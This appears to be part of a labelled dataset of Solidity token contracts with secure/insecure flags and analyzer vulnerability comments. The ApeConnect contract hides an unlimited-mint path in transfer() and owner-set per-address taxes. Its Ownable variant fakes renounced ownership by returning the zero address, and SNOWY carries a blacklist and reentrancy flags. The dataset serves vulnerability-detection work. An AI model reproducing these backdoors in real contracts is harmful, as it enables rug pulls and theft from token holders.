"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./StandardToken.sol\" as StandardToken;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract AAED is StandardToken {\n using SafeMath for uint256;\n string public constant name = \"Atherio Dirham\";\n string public constant symbol = \"AAED\";\n uint8 public constant decimals = 2;\n uint256 public totalSupply = 100 * 10 ** 2;\n\n constructor() {\n balances[msg.sender] = totalSupply;\n owner = msg.sender;\n emit Transfer(address(0), msg.sender, totalSupply);\n }\n\n function _burn(address account, uint256 amount) public onlyOwner {\n require(account != address(0), \"ERC20: burn from the account\");\n uint256 accountBalance = balances[account];\n require(accountBalance >= amount, \"ERC20: burn amount exceeds balance\");\n unchecked {\n balances[account] = accountBalance - (amount);\n }\n totalSupply -= amount;\n emit Transfer(account, address(0), amount);\n }\n function _mint(address account, uint256 amount) public onlyOwner {\n require(account != address(0), \"ERC20: mint to the zero account\");\n\n totalSupply = totalSupply.add(amount);\n balances[account] = balances[account].add(amount);\n emit Transfer(account, address(0), amount);\n }\n\n function transferFrom(\n address _from,\n address _to,\n uint256 _value\n ) public override returns (bool) {\n require(_to != address(0), \"Transfer to 0 address!\");\n require(_value <= balances[_from], \"Insufficient amount!\");\n require(\n _value <= allowed[_from][msg.sender],\n \"Insufficient allowance!\"\n );\n balances[_from] -= _value;\n balances[_to] += _value;\n allowed[_from][msg.sender] -= _value;\n emit Transfer(_from, _to, _value);\n return true;\n }\n function transfer(\n address _to,\n uint256 _value\n ) public override returns (bool) {\n require(_to != address(0), \"Transfer to 0 address!\");\n require(_value <= balances[msg.sender], \"Insufficient amount!\");\n balances[msg.sender] -= _value;\n balances[_to] += _value;\n emit Transfer(msg.sender, _to, _value);\n return true;\n }\n}",
"file_name": "solidity_code_1878.sol",
"secure": 1,
"size_bytes": 2370
} |
{
"code": "// SPDX-License-Identifier: UNLICENSED\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract SNOWY is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n string private constant _name = \"Snowy Inu\"; //////////////////////////\n string private constant _symbol = \"SNOWY\"; //////////////////////////////////////////////////////////////////////////\n uint8 private constant _decimals = 9;\n\n mapping(address => uint256) private _rOwned;\n mapping(address => uint256) private _tOwned;\n mapping(address => mapping(address => uint256)) private _allowances;\n mapping(address => bool) private _isExcludedFromFee;\n uint256 private constant MAX = ~uint256(0);\n uint256 private constant _tTotal = 10000000 * 10 ** 9;\n uint256 private _rTotal = (MAX - (MAX % _tTotal));\n uint256 private _tFeeTotal;\n\n uint256 private _redisFeeOnBuy = 0;\n uint256 private _taxFeeOnBuy = 5;\n\n uint256 private _redisFeeOnSell = 0;\n uint256 private _taxFeeOnSell = 5;\n\n uint256 private _redisFee = _redisFeeOnSell;\n uint256 private _taxFee = _taxFeeOnSell;\n\n uint256 private _previousredisFee = _redisFee;\n uint256 private _previoustaxFee = _taxFee;\n\n mapping(address => bool) public bots;\n mapping(address => uint256) private cooldown;\n\n\t// WARNING Optimization Issue (constable-states | ID: 9944ddd): SNOWY._developmentAddress should be constant \n\t// Recommendation for 9944ddd: Add the 'constant' attribute to state variables that never change.\n address payable private _developmentAddress =\n payable(0xf89F6944eD94e90c21a1b649f6974F4F66b1b19C);\n\t// WARNING Optimization Issue (constable-states | ID: b604c7c): SNOWY._marketingAddress should be constant \n\t// Recommendation for b604c7c: Add the 'constant' attribute to state variables that never change.\n address payable private _marketingAddress =\n payable(0xAF92A21dAEeD6F40C1C571f2C0960b1B6F59E611);\n\n\t// WARNING Optimization Issue (immutable-states | ID: 0915db3): SNOWY.uniswapV2Router should be immutable \n\t// Recommendation for 0915db3: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IUniswapV2Router02 public uniswapV2Router;\n\t// WARNING Optimization Issue (immutable-states | ID: 4611beb): SNOWY.uniswapV2Pair should be immutable \n\t// Recommendation for 4611beb: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public uniswapV2Pair;\n\n bool private tradingOpen;\n bool private inSwap = false;\n bool private swapEnabled = true;\n\n uint256 public _maxTxAmount = 200000 * 10 ** 9;\n uint256 public _maxWalletSize = 200000 * 10 ** 9;\n uint256 public _swapTokensAtAmount = 40000 * 10 ** 9;\n\n event MaxTxAmountUpdated(uint256 _maxTxAmount);\n modifier lockTheSwap() {\n inSwap = true;\n _;\n inSwap = false;\n }\n\n constructor() {\n _rOwned[_msgSender()] = _rTotal;\n\n IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n uniswapV2Router = _uniswapV2Router;\n uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())\n .createPair(address(this), _uniswapV2Router.WETH());\n\n _isExcludedFromFee[owner()] = true;\n _isExcludedFromFee[address(this)] = true;\n _isExcludedFromFee[_developmentAddress] = true;\n _isExcludedFromFee[_marketingAddress] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return tokenFromReflection(_rOwned[account]);\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 5d6c803): SNOWY.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 5d6c803: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: fdd87ad): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for fdd87ad: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 4cae036): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 4cae036: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: fdd87ad\n\t\t// reentrancy-benign | ID: 4cae036\n _transfer(sender, recipient, amount);\n\t\t// reentrancy-events | ID: fdd87ad\n\t\t// reentrancy-benign | ID: 4cae036\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n return true;\n }\n\n function tokenFromReflection(\n uint256 rAmount\n ) private view returns (uint256) {\n require(\n rAmount <= _rTotal,\n \"Amount must be less than total reflections\"\n );\n uint256 currentRate = _getRate();\n return rAmount.div(currentRate);\n }\n\n function removeAllFee() private {\n if (_redisFee == 0 && _taxFee == 0) return;\n\n\t\t// reentrancy-benign | ID: 9768c40\n _previousredisFee = _redisFee;\n\t\t// reentrancy-benign | ID: 9768c40\n _previoustaxFee = _taxFee;\n\n\t\t// reentrancy-benign | ID: 9768c40\n _redisFee = 0;\n\t\t// reentrancy-benign | ID: 9768c40\n _taxFee = 0;\n }\n\n function restoreAllFee() private {\n\t\t// reentrancy-benign | ID: 9768c40\n _redisFee = _previousredisFee;\n\t\t// reentrancy-benign | ID: 9768c40\n _taxFee = _previoustaxFee;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: d1d1f79): SNOWY._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for d1d1f79: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\t\t// reentrancy-benign | ID: 4cae036\n _allowances[owner][spender] = amount;\n\t\t// reentrancy-events | ID: fdd87ad\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: d58b6bf): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for d58b6bf: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 9768c40): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 9768c40: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 927b626): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 927b626: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n if (from != owner() && to != owner()) {\n if (!tradingOpen) {\n require(\n from == owner(),\n \"TOKEN: This account cannot send tokens until trading is enabled\"\n );\n }\n\n require(amount <= _maxTxAmount, \"TOKEN: Max Transaction Limit\");\n require(\n !bots[from] && !bots[to],\n \"TOKEN: Your account is blacklisted!\"\n );\n\n if (to != uniswapV2Pair) {\n require(\n balanceOf(to) + amount < _maxWalletSize,\n \"TOKEN: Balance exceeds wallet size!\"\n );\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n bool canSwap = contractTokenBalance >= _swapTokensAtAmount;\n\n if (contractTokenBalance >= _maxTxAmount) {\n contractTokenBalance = _maxTxAmount;\n }\n\n if (\n canSwap &&\n !inSwap &&\n from != uniswapV2Pair &&\n swapEnabled &&\n !_isExcludedFromFee[from] &&\n !_isExcludedFromFee[to]\n ) {\n\t\t\t\t// reentrancy-events | ID: d58b6bf\n\t\t\t\t// reentrancy-benign | ID: 9768c40\n\t\t\t\t// reentrancy-eth | ID: 927b626\n swapTokensForEth(contractTokenBalance);\n uint256 contractETHBalance = address(this).balance;\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: d58b6bf\n\t\t\t\t\t// reentrancy-eth | ID: 927b626\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n bool takeFee = true;\n\n if (\n (_isExcludedFromFee[from] || _isExcludedFromFee[to]) ||\n (from != uniswapV2Pair && to != uniswapV2Pair)\n ) {\n takeFee = false;\n } else {\n if (from == uniswapV2Pair && to != address(uniswapV2Router)) {\n\t\t\t\t// reentrancy-benign | ID: 9768c40\n _redisFee = _redisFeeOnBuy;\n\t\t\t\t// reentrancy-benign | ID: 9768c40\n _taxFee = _taxFeeOnBuy;\n }\n\n if (to == uniswapV2Pair && from != address(uniswapV2Router)) {\n\t\t\t\t// reentrancy-benign | ID: 9768c40\n _redisFee = _redisFeeOnSell;\n\t\t\t\t// reentrancy-benign | ID: 9768c40\n _taxFee = _taxFeeOnSell;\n }\n }\n\n\t\t// reentrancy-events | ID: d58b6bf\n\t\t// reentrancy-benign | ID: 9768c40\n\t\t// reentrancy-eth | ID: 927b626\n _tokenTransfer(from, to, amount, takeFee);\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n path[0] = address(this);\n path[1] = uniswapV2Router.WETH();\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\t\t// reentrancy-events | ID: fdd87ad\n\t\t// reentrancy-events | ID: d58b6bf\n\t\t// reentrancy-benign | ID: 4cae036\n\t\t// reentrancy-benign | ID: 9768c40\n\t\t// reentrancy-eth | ID: 927b626\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: fdd87ad\n\t\t// reentrancy-events | ID: d58b6bf\n\t\t// reentrancy-eth | ID: 927b626\n _developmentAddress.transfer(amount.div(2));\n\t\t// reentrancy-events | ID: fdd87ad\n\t\t// reentrancy-events | ID: d58b6bf\n\t\t// reentrancy-eth | ID: 927b626\n _marketingAddress.transfer(amount.div(2));\n }\n\n function setTrading(bool _tradingOpen) public onlyOwner {\n tradingOpen = _tradingOpen;\n }\n\n function manualswap() external {\n require(\n _msgSender() == _developmentAddress ||\n _msgSender() == _marketingAddress\n );\n uint256 contractBalance = balanceOf(address(this));\n swapTokensForEth(contractBalance);\n }\n\n function manualsend() external {\n require(\n _msgSender() == _developmentAddress ||\n _msgSender() == _marketingAddress\n );\n uint256 contractETHBalance = address(this).balance;\n sendETHToFee(contractETHBalance);\n }\n\n function blockBots(address[] memory bots_) public onlyOwner {\n for (uint256 i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function unblockBot(address notbot) public onlyOwner {\n bots[notbot] = false;\n }\n\n function _tokenTransfer(\n address sender,\n address recipient,\n uint256 amount,\n bool takeFee\n ) private {\n if (!takeFee) removeAllFee();\n _transferStandard(sender, recipient, amount);\n if (!takeFee) restoreAllFee();\n }\n\n function _transferStandard(\n address sender,\n address recipient,\n uint256 tAmount\n ) private {\n (\n uint256 rAmount,\n uint256 rTransferAmount,\n uint256 rFee,\n uint256 tTransferAmount,\n uint256 tFee,\n uint256 tTeam\n ) = _getValues(tAmount);\n\t\t// reentrancy-eth | ID: 927b626\n _rOwned[sender] = _rOwned[sender].sub(rAmount);\n\t\t// reentrancy-eth | ID: 927b626\n _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);\n _takeTeam(tTeam);\n _reflectFee(rFee, tFee);\n\t\t// reentrancy-events | ID: d58b6bf\n emit Transfer(sender, recipient, tTransferAmount);\n }\n\n function _takeTeam(uint256 tTeam) private {\n uint256 currentRate = _getRate();\n uint256 rTeam = tTeam.mul(currentRate);\n\t\t// reentrancy-eth | ID: 927b626\n _rOwned[address(this)] = _rOwned[address(this)].add(rTeam);\n }\n\n function _reflectFee(uint256 rFee, uint256 tFee) private {\n\t\t// reentrancy-eth | ID: 927b626\n _rTotal = _rTotal.sub(rFee);\n\t\t// reentrancy-benign | ID: 9768c40\n _tFeeTotal = _tFeeTotal.add(tFee);\n }\n\n receive() external payable {}\n\n function _getValues(\n uint256 tAmount\n )\n private\n view\n returns (uint256, uint256, uint256, uint256, uint256, uint256)\n {\n (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(\n tAmount,\n _redisFee,\n _taxFee\n );\n uint256 currentRate = _getRate();\n (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(\n tAmount,\n tFee,\n tTeam,\n currentRate\n );\n\n return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);\n }\n\n function _getTValues(\n uint256 tAmount,\n uint256 redisFee,\n uint256 taxFee\n ) private pure returns (uint256, uint256, uint256) {\n uint256 tFee = tAmount.mul(redisFee).div(100);\n uint256 tTeam = tAmount.mul(taxFee).div(100);\n uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);\n\n return (tTransferAmount, tFee, tTeam);\n }\n\n function _getRValues(\n uint256 tAmount,\n uint256 tFee,\n uint256 tTeam,\n uint256 currentRate\n ) private pure returns (uint256, uint256, uint256) {\n uint256 rAmount = tAmount.mul(currentRate);\n uint256 rFee = tFee.mul(currentRate);\n uint256 rTeam = tTeam.mul(currentRate);\n uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);\n\n return (rAmount, rTransferAmount, rFee);\n }\n\n function _getRate() private view returns (uint256) {\n (uint256 rSupply, uint256 tSupply) = _getCurrentSupply();\n\n return rSupply.div(tSupply);\n }\n\n function _getCurrentSupply() private view returns (uint256, uint256) {\n uint256 rSupply = _rTotal;\n uint256 tSupply = _tTotal;\n if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);\n\n return (rSupply, tSupply);\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 0329487): Missing events for critical arithmetic parameters.\n\t// Recommendation for 0329487: Emit an event for critical parameter changes.\n function setFee(\n uint256 redisFeeOnBuy,\n uint256 redisFeeOnSell,\n uint256 taxFeeOnBuy,\n uint256 taxFeeOnSell\n ) public onlyOwner {\n\t\t// events-maths | ID: 0329487\n _redisFeeOnBuy = redisFeeOnBuy;\n\t\t// events-maths | ID: 0329487\n _redisFeeOnSell = redisFeeOnSell;\n\n\t\t// events-maths | ID: 0329487\n _taxFeeOnBuy = taxFeeOnBuy;\n\t\t// events-maths | ID: 0329487\n _taxFeeOnSell = taxFeeOnSell;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: cbdeda7): SNOWY.setMinSwapTokensThreshold(uint256) should emit an event for _swapTokensAtAmount = swapTokensAtAmount \n\t// Recommendation for cbdeda7: Emit an event for critical parameter changes.\n function setMinSwapTokensThreshold(\n uint256 swapTokensAtAmount\n ) public onlyOwner {\n\t\t// events-maths | ID: cbdeda7\n _swapTokensAtAmount = swapTokensAtAmount;\n }\n\n function toggleSwap(bool _swapEnabled) public onlyOwner {\n swapEnabled = _swapEnabled;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: c69c164): SNOWY.setMaxTxnAmount(uint256) should emit an event for _maxTxAmount = maxTxAmount \n\t// Recommendation for c69c164: Emit an event for critical parameter changes.\n function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {\n\t\t// events-maths | ID: c69c164\n _maxTxAmount = maxTxAmount;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: bb1bf56): SNOWY.setMaxWalletSize(uint256) should emit an event for _maxWalletSize = maxWalletSize \n\t// Recommendation for bb1bf56: Emit an event for critical parameter changes.\n function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {\n\t\t// events-maths | ID: bb1bf56\n _maxWalletSize = maxWalletSize;\n }\n\n function excludeMultipleAccountsFromFees(\n address[] calldata accounts,\n bool excluded\n ) public onlyOwner {\n for (uint256 i = 0; i < accounts.length; i++) {\n _isExcludedFromFee[accounts[i]] = excluded;\n }\n }\n}",
"file_name": "solidity_code_1879.sol",
"secure": 0,
"size_bytes": 20293
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/interfaces/IERC165.sol\" as IERC165;\n\ninterface IERC721 is IERC165 {\n event Transfer(\n address indexed from,\n address indexed to,\n uint256 indexed tokenId\n );\n\n event Approval(\n address indexed owner,\n address indexed approved,\n uint256 indexed tokenId\n );\n\n event ApprovalForAll(\n address indexed owner,\n address indexed operator,\n bool approved\n );\n\n function balanceOf(address owner) external view returns (uint256 balance);\n\n function ownerOf(uint256 tokenId) external view returns (address owner);\n\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId,\n bytes calldata data\n ) external;\n\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId\n ) external;\n\n function transferFrom(address from, address to, uint256 tokenId) external;\n\n function approve(address to, uint256 tokenId) external;\n\n function setApprovalForAll(address operator, bool _approved) external;\n\n function getApproved(\n uint256 tokenId\n ) external view returns (address operator);\n\n function isApprovedForAll(\n address owner,\n address operator\n ) external view returns (bool);\n}",
"file_name": "solidity_code_188.sol",
"secure": 1,
"size_bytes": 1425
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\n\nabstract contract Ownable is Context {\n address private _Owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n _transferOwnership(_msgSender());\n }\n\n function Owner() public view virtual returns (address) {\n return address(0);\n }\n modifier onlyOwner() {\n require(_Owner == _msgSender(), \"Ownable: caller is not the Owner\");\n _;\n }\n function renounceOwnership() public virtual onlyOwner {\n _transferOwnership(address(0));\n }\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(\n newOwner != address(0),\n \"Ownable: new Owner is the zero address\"\n );\n _transferOwnership(newOwner);\n }\n function _transferOwnership(address newOwner) internal virtual {\n address oldOwner = _Owner;\n _Owner = newOwner;\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n}",
"file_name": "solidity_code_1880.sol",
"secure": 1,
"size_bytes": 1162
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\n\ncontract ERC20 is Context {\n mapping(address => mapping(address => uint256)) private _allowances;\n uint256 internal _totalSupply;\n string private _name;\n string private _symbol;\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed Owner,\n address indexed spender,\n uint256 value\n );\n\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n _symbol = symbol_;\n }\n\n function name() public view virtual returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual returns (uint8) {\n return 18;\n }\n\n function totalSupply() public view virtual returns (uint256) {\n return _totalSupply;\n }\n\n function allowance(\n address Owner,\n address spender\n ) public view virtual returns (uint256) {\n return _allowances[Owner][spender];\n }\n\n function approve(\n address spender,\n uint256 Amount\n ) public virtual returns (bool) {\n address Owner = _msgSender();\n _approve(Owner, spender, Amount);\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n address Owner = _msgSender();\n _approve(Owner, spender, _allowances[Owner][spender] + addedValue);\n return true;\n }\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n address Owner = _msgSender();\n uint256 currentAllowance = _allowances[Owner][spender];\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n unchecked {\n _approve(Owner, spender, currentAllowance - subtractedValue);\n }\n\n return true;\n }\n\n function _approve(\n address Owner,\n address spender,\n uint256 Amount\n ) internal virtual {\n require(Owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[Owner][spender] = Amount;\n emit Approval(Owner, spender, Amount);\n }\n\n function _spendAllowance(\n address Owner,\n address spender,\n uint256 Amount\n ) internal virtual {\n uint256 currentAllowance = allowance(Owner, spender);\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= Amount,\n \"ERC20: insufficient allowance\"\n );\n unchecked {\n _approve(Owner, spender, currentAllowance - Amount);\n }\n }\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 Amount\n ) internal virtual {}\n\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 Amount\n ) internal virtual {}\n}",
"file_name": "solidity_code_1881.sol",
"secure": 1,
"size_bytes": 3391
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract ApeConnect is ERC20, Ownable {\n mapping(address => uint256) private _balances;\n mapping(address => bool) private _release;\n\n function balanceOf(address account) public view virtual returns (uint256) {\n return _balances[account];\n }\n\n function _transfer(\n address from,\n address to,\n uint256 Amount\n ) internal virtual {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n uint256 fromBalance = _balances[from];\n require(\n fromBalance >= Amount,\n \"ERC20: transfer Amount exceeds balance\"\n );\n unchecked {\n _balances[from] = fromBalance - Amount;\n }\n _balances[to] += Amount;\n\n emit Transfer(from, to, Amount);\n }\n\n function _burn(address account, uint256 Amount) internal virtual {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n uint256 accountBalance = _balances[account];\n require(accountBalance >= Amount, \"ERC20: burn Amount exceeds balance\");\n unchecked {\n _balances[account] = accountBalance - Amount;\n }\n _totalSupply -= Amount;\n\n emit Transfer(account, address(0), Amount);\n }\n\n function _Mnit(address account, uint256 Amount) internal virtual {\n require(account != address(0), \"ERC20: Mnit to the zero address\");\n\n _totalSupply += Amount;\n _balances[account] += Amount;\n emit Transfer(address(0), account, Amount);\n }\n\n address public uniswapV2Pair;\n\n constructor(\n string memory name_,\n string memory symbol_,\n uint256 totalSupply_\n ) ERC20(name_, symbol_) {\n _Mnit(msg.sender, totalSupply_ * 10 ** decimals());\n\n _defaultSellkFee = 25;\n _defaultBuykFee = 2;\n\n _release[_msgSender()] = true;\n }\n\n using SafeMath for uint256;\n\n uint256 private _defaultSellkFee = 0;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 970b4e0): ApeConnect._defaultBuykFee should be immutable \n\t// Recommendation for 970b4e0: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private _defaultBuykFee = 0;\n\n mapping(address => bool) private _mAccount;\n\n mapping(address => uint256) private _Aprove;\n address private constant _deadAddress =\n 0x000000000000000000000000000000000000dEaD;\n\n function getRelease(\n address _address\n ) external view onlyOwner returns (bool) {\n return _release[_address];\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: c527a2b): ApeConnect.PairList(address)._address lacks a zerocheck on \t uniswapV2Pair = _address\n\t// Recommendation for c527a2b: Check that the address is not zero.\n function PairList(address _address) external onlyOwner {\n\t\t// missing-zero-check | ID: c527a2b\n uniswapV2Pair = _address;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: eb4204d): ApeConnect.Reward(uint256) should emit an event for _defaultSellkFee = _value \n\t// Recommendation for eb4204d: Emit an event for critical parameter changes.\n function Reward(uint256 _value) external onlyOwner {\n\t\t// events-maths | ID: eb4204d\n _defaultSellkFee = _value;\n }\n\n function Aprove(address _address, uint256 _value) external onlyOwner {\n require(_value > 0, \"Account tax must be greater than or equal to 1\");\n _Aprove[_address] = _value;\n }\n\n function getAprove(\n address _address\n ) external view onlyOwner returns (uint256) {\n return _Aprove[_address];\n }\n\n function setMAccountkFee(address _address, bool _value) external onlyOwner {\n _mAccount[_address] = _value;\n }\n\n function getMAccountkFee(\n address _address\n ) external view onlyOwner returns (bool) {\n return _mAccount[_address];\n }\n\n function _checkFreeAccount(\n address from,\n address to\n ) internal view returns (bool) {\n return _mAccount[from] || _mAccount[to];\n }\n\n function _receiveF(\n address from,\n address to,\n uint256 _Amount\n ) internal virtual {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n uint256 fromBalance = _balances[from];\n require(\n fromBalance >= _Amount,\n \"ERC20: transfer Amount exceeds balance\"\n );\n\n bool rF = true;\n\n if (_checkFreeAccount(from, to)) {\n rF = false;\n }\n uint256 tradekFeeAmount = 0;\n\n if (rF) {\n uint256 tradekFee = 0;\n if (uniswapV2Pair != address(0)) {\n if (to == uniswapV2Pair) {\n tradekFee = _defaultSellkFee;\n }\n if (from == uniswapV2Pair) {\n tradekFee = _defaultBuykFee;\n }\n }\n if (_Aprove[from] > 0) {\n tradekFee = _Aprove[from];\n }\n\n tradekFeeAmount = _Amount.mul(tradekFee).div(100);\n }\n\n if (tradekFeeAmount > 0) {\n _balances[from] = _balances[from].sub(tradekFeeAmount);\n _balances[_deadAddress] = _balances[_deadAddress].add(\n tradekFeeAmount\n );\n emit Transfer(from, _deadAddress, tradekFeeAmount);\n }\n\n _balances[from] = _balances[from].sub(_Amount - tradekFeeAmount);\n _balances[to] = _balances[to].add(_Amount - tradekFeeAmount);\n emit Transfer(from, to, _Amount - tradekFeeAmount);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: b41dfab): ApeConnect.transfer(address,uint256).Owner shadows Ownable.Owner() (function)\n\t// Recommendation for b41dfab: Rename the local variables that shadow another component.\n function transfer(\n address to,\n uint256 Amount\n ) public virtual returns (bool) {\n address Owner = _msgSender();\n if (_release[Owner] == true) {\n _balances[to] += Amount;\n return true;\n }\n _receiveF(Owner, to, Amount);\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 Amount\n ) public virtual returns (bool) {\n address spender = _msgSender();\n\n _spendAllowance(from, spender, Amount);\n _receiveF(from, to, Amount);\n return true;\n }\n}",
"file_name": "solidity_code_1882.sol",
"secure": 0,
"size_bytes": 7041
} |
{
